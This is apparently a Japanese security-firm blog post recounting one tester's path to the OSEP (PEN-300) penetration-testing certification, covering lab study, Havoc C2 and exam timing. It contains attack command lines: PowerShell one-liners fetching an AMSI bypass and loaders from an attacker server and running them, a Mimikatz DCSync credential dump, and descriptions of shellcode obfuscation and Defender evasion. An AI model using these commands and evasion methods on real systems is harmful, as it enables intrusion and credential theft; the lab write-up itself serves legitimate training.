
【合格体験記】Havocで制覇するOSEP (PEN-300):合格までの軌跡
目次
- はじめに
- OSEP(PEN-300)について
- 学習前のスキルレベル
- ラボ学習
- 使用したツール
- 工夫したこと
- 苦労した点
- 試験
- 試験中・ラボで役立ったツール
- 所感・学び
- 今後の目標
はじめに
アセスメントサービス部のわさびです。
普段はWebアプリケーション診断や、モバイルゲームのチート診断などを担当しています。
個人的にペネトレーションテストに強い興味があり、OSCP+取得後も更なるスキル向上を目指して学習を継続してきました。
今回は、組織内のActive Directory(AD)ネットワークに対する高度なペネトレーションテスト技術を身につけるため、OffSec社が提供する「OSEP(PEN-300)」を受講し、試験に合格しましたので、その内容や所感を紹介します。
お知らせ
弊社では、イエラエアカデミーの「オフェンシブセキュリティ資格取得コース」に関する各種バウチャー(OSEP、OSCP、OSED、OSMR、OSDA、OSWA、OSWE、OSTH、OSIR など)を発行しております。
オフェンシブセキュリティ資格の取得を目指す方は、ぜひ弊社のバウチャー発行サービスをご活用ください。
OSEP(PEN-300)について
OSEPは、OffSec社が提供する上級レベルのペネトレーションテスト資格で、特に大規模なActive Directory環境に対する侵入・展開や、Microsoft DefenderやAppLockerなど標準的な防御機構の回避に焦点を当てた内容になっています。
トレーニングでは、標的環境の列挙・権限昇格・水平展開だけでなく、セキュリティ対策機構の回避やカスタム攻撃ツールの作成など、多様な技術を習得できます。
OSCP+がペネトレーションテストの基礎・汎用的な攻撃手法を扱うのに対し、OSEPはより高度・実践的かつ検知回避を重視した内容になっており、試験もAD環境攻略が中心となります。
学習前のスキルレベル
学習開始前には以下の資格を取得済みでした。
- OSCP+(PEN-200)
- CRTO(Certified Red Team Operator) – Zero-Point Security社
- CRTL(Certified Red Team Lead) – Zero-Point Security社
特にCRTO/CRTLではC2(Command & Control)インフラの構築や、Microsoft Defender・EDRの回避技術を既に学んでいたため、OSEP学習において大きなアドバンテージとなりました。
ラボ学習
ラボは1年契約でしたが、実際の学習期間は約3か月間でした。
自身の理解が浅い領域を重点的に補強する学習方法を取り、MSSQL、フィッシング用VBAマクロには特に時間をかけました。一方で、Pass-The-Hashなど既知の項目はスキップしました。
3か月間の学習時間の目安は以下の通りです。
- 平日:6~7時間学習(午後8時~午前2時、3時頃まで学習)
- 土日祝:終日学習
チャレンジラボは1〜8まであり、特に7と8は過去試験問題に基づくとのことで難易度が高く、Discordのヒントを多用しました。最終的にラボ全体を3周回し、2周目以降はできる限り自力で解きました。
コマンドなどはOneNoteにまとめていきました。

使用したツール
ラボでは主に無料版のHavoc C2を利用しました。Cobalt StrikeにUIや操作感が似ており、CRTO/CRTLで慣れた感覚を活かせました。
Havocには以下のような特徴・利点があります
- BOF(Beacon Object File)拡張に対応
- ETW/AMSIバイパス、Sleep Mask、ランダムジッターなどの検知回避設定が容易
- PowerPickによるカスタムPowerShell実行空間で、制限付き言語モード(CLM)を回避可能
Sleep Mask
デーモン(RATエージェント)は、C2からのコマンド待機中に自身のメモリ領域を暗号化し、メモリスキャンで検知されるのを防ぎます。近年では「Intel TDT」のように、メモリスキャン処理をGPUにオフロードして効率的にスキャンする技術が登場しており、従来のようなファイルレス実行だけでは検知を免れません。そのため、悪性プログラムはメモリ領域を暗号化することで、こうした高度なスキャンを回避する手法を取っています。
ランダムジッター
C2サーバとの通信時間間隔を不規則にし、異常通信パターンを検知するシグネチャや挙動分析から逃れる仕組みです。
工夫したこと
HavocにおけるPowerShellスクリプトの呼び出し
Cobalt Strikeが備える「powershell-import」のように、スクリプトをエージェントのメモリに直接保存して呼び出す機能はHavocにはありません。その代替として、KaliのHTTPサーバ経由でPowerShellスクリプトを取得・実行しました。
powershell iex "(iwr -useb http://192.168.45.xxx:443/bypass.txt); iex (iwr -useb http://192.168.45.xxx:443/PowerView.ps1); Get-Domain"
- AMSIバイパスコードを先に読み込んでからメインのPowerShellスクリプトを実行
- ハードウェアブレークポイントを使用したAMSIバイパスコードを使用
Metasploit活用
基本はHavocを使用しつつも、Metasploit固有の攻撃モジュールを使用したい場合は、セッションパッシングと呼ばれるテクニックを活用しました。セッションパッシングとは、Metasploitのシェルコードを既存のHavocデーモンプロセスに注入することで、デーモンの有効なセッションをMetasploit側に引き継げるテクニックのことです。
シェルコードローダ
初期アクセス・水平展開用のシェルコードローダはC#で実装しました。
Havoc出力のシェルコードはそのままだとMicrosoft Defenderに検知されるため、以下の対策を施しました。
- シェルコード(.bin)を2段階XORで暗号化して.icoファイルとして出力
- .icoをシェルコードローダの埋め込みリソースとして追加してビルド
この方法でシグネチャベースの検知は回避できましたが、クラウド提供型の保護には依然として検知されるため、今後の課題としています。
PEN-300ではシグネチャベースの検知を回避することに焦点を当てており、人工知能やクラウド提供型による高度な分析・検知を回避することを目的とはしていないため、教材内ではクラウド提供型の保護は無効化するように案内されます。
苦労した点
VBAマクロ
ラボ内のMS-Wordが32bit版であることに気づかず、ドロッパーマクロ経由で64bitの実行ファイルを実行しようとして、セッションが取れずに1週間詰まりました。
.htaファイル
ADODB.Streamを使ったリモートからの実行ファイル取得が、チャレンジラボ環境では動作しませんでした。開発用VMでは問題なかったため、Microsoft DefenderによるADODB.Streamの検知が原因と推定しました。そこでダウンロード処理をCurlに置き換えたところ解決しましたが、Curlが検知されない理由は不明で、追加調査の余地があります。
Havocにおけるコマンド引数の扱いについて
ラボ演習中に、Havocのpowershellコマンドでスペースを含む引数を渡そうとしたところ、意図通りに解釈されずコマンドが分割される挙動に直面しました。
例えば以下を実行すると、Mimikatzにはコマンドが分割されて渡されてしまい、正しく動作しませんでした。
powershell .\mimikatz.exe "lsadump::dcsync /domain:example.com /user:EXAMPLE\Administrator" "exit"
これはHavoc側の不具合ではなく、powershell.exeへの引数の渡し方に依存する仕様でした。実際、次のようにエスケープを工夫すれば正しく動作します。
powershell .\mimikatz.exe \"lsadump::dcsync /domain:example.com /user:EXAMPLE\Administrator\" \"exit\"
私は作業効率を優先し、毎回エスケープを調整する代わりに、実行したいコマンドをバッチファイルにまとめて呼び出す方法を取りました。これにより安定して再現性のある実行が可能になりました。
MSSQLand使用時の例
リンクサーバ経由でOSコマンドを実行する際、スペースを含むコマンドをそのまま入力すると、Havoc側で引数が分割されてしまい、MSSQLand上で正しく動作しませんでした。
例えば次のような構文ではエラーとなります。
iwr ('http://192.168.45.xxx:443/Loader.exe') -OutFile ('C:\Windows\Tasks\Loader.exe'; Start-Process 'C:\Windows\Tasks\Loader.exe')
Havocのdotnet inline-execute BOFでは引数のダブルクォートが特別に扱われる仕様があり、その結果スペースを含む引数が正しく解釈されず分割されてしまいます。したがって、MSSQLandを起動する際には余計なエスケープを考える必要がありました。
私は、この問題を避けるために、スペースを含まない構文に書き換える方法を選びました。以下のような形式で引数を指定することで安定して動作させることができます。
iwr('http://192.168.45.xxx:443/Loader.exe')-OutFile('C:\Windows\Tasks\Loader.exe');Start-Process('C:\Windows\Tasks\Loader.exe')
同様に、別のコマンドも次のように修正しました。
iwr('http://192.168.45.xxx:443/Loader.exe')-OutFile('C:\Windows\Tasks\Loader.exe');Start-Process('C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe','/logfile=','/LogToConsole=false','/u','C:\Windows\Tasks\Loader.exe')
試験
NDAの都合上、ぼかした表現となることをご了承ください。
試験時間は47時間45分、報告書作成は24時間です。
合格条件はフラグ合計100点またはsecret.txtの取得です(local.txt=10点、proof.txt=10点)
試験開始から約4時間でsecret.txtを取得して試験を終了しました。
今回の試験は、チャレンジラボをやり込んでいれば対応可能な構成でした。
試験中に取った証跡や使用したコマンドはPowerPointに整理しました。理由は報告書作成時に証跡画像のコピペが容易であることと、Wordと連携しやすくするためです。
タイムライン
日時 | 作業内容 |
2025/08/14 10:00 | 試験開始 |
2025/08/14 14:12 | secret.txt取得 |
休憩30分 | |
2025/08/14 14:42 | 報告書作成開始 |
2025/08/14 19:10 | 報告書提出 |
報告書は71ページに及び、初期侵入から最終フラグ取得までの全過程をスクリーンショット付きで詳細に記載しました。報告書のテンプレートはOffSec社が公表しているOSEP用のものをそのまま使用しました。
合否の通知は2日後にメールで届きました。OSCP+の時と同様に学習ポータルから直接証明書を発行できました。

試験中・ラボで役立ったツール
dotnet inline-execute BOF
C#で記述された実行ファイルをディスクに書き込まず、メモリ内で直接実行できるBOF(BOFについては後述します)
noconsolation BOF
C#以外の言語で記述・ビルドされた実行ファイルを、メモリ内で実行できます。
足場のマシンで権限昇格できない場合は、Microsoft Defenderの検知設定を無効化できないため、ポート転送ツール(ligolo agent)をディスクに展開すると検知されてしまいます。そこで、noconsolationを利用してメモリ内で実行し、検知を回避しました。
ligolo-ng
安定性の高いポート転送ツール。
SharpEfsPotato
SeImpersonatePrivilegeを悪用しSYSTEM権限を取得するためのツール。C#で実装されているため、dotnet inline-execute BOFでメモリ内実行が可能。
SharpUp
権限昇格に繋がり得る設定や情報を列挙するツール。C#で実装されているため、dotnet inline-execute BOFでメモリ内実行が可能。
Seatbelt
Windows環境の各種情報を列挙できるツール。SharpUpと併用すると昇格に必要な情報を取りこぼしにくい。C#で実装されているため、dotnet inline-execute BOFでメモリ内実行が可能。
MSSQLand
MSSQLの情報列挙やリンクサーバ経由でのOSコマンド実行が可能。C#で記述されており、dotnet inline-execute BOFを使ってメモリ内実行が可能。
※BOF(Beacon Object File)とは
BOFはRATエージェント(Cobalt Strike BeaconやHavoc Demonなど)内で直接ロード・実行できるコンパクトなバイナリモジュールです。
ラボや試験では、BOFを駆使して標的端末上で、素早くかつステルス性を保って必要な機能を呼び出しました。
所感・学び
約3か月間余暇をOSEP学習に費やし、合格できたことに大きな達成感があります。
特に「列挙の網羅性」をより一層強く意識できるようになり、この姿勢はWebアプリ診断やゲームチート診断などの業務にも活きると感じています。
今後の目標
現在、さらに技術と知見を深めるために、OSED(EXP-301)とOSWE(WEB-300)を学習中です。
- OSED – Windows 32bitユーザモードにおけるエクスプロイト開発(主にスタックバッファオーバーフロー)
- OSWE – Webアプリのソースコード解析による脆弱性発見とエクスプロイト開発
以上、OSEPの合格体験記でした。本記事がこれから挑戦される方の一助となれば嬉しいです。
技術の追求に終わりはなく、今後も学びを深めていきます。